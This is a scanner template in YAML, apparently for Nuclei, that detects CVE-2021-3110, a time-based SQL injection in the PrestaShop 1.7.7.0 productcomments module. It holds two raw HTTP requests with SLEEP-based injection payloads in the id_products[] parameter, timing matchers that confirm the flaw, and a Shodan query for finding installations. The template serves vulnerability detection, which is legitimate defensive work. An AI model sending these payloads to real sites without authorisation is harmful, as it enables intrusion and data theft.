CVE-2021-3110: PrestaShop 1.7.7.0 - SQL Injection

id: CVE-2021-3110

info:
  name: PrestaShop 1.7.7.0 - SQL Injection
  author: Jaimin Gondaliya,mastercho
  severity: critical
  description: |
    PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop.
  reference:
    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://www.exploit-db.com/exploits/49410
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
    - https://medium.com/%40gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3110
    cwe-id: CWE-89
    epss-score: 0.79344
    epss-percentile: 0.99026
    cpe: cpe:2.3:a:prestashop:prestashop:1.7.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query: cpe:"cpe:2.3:a:prestashop:prestashop"
  tags: time-based-sqli,cve,cve2021,sqli,prestshop,edb,prestashop,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(8)))xoOt) HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /module/productcomments/CommentGrade?id_products[]=1*if(now()=sysdate()%2Csleep(8)%2C0) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=8 && duration_2>=8'
          - 'status_code == 200 && status_code_2 != 404'
          - 'contains(body, "average_grade")'
        condition: and
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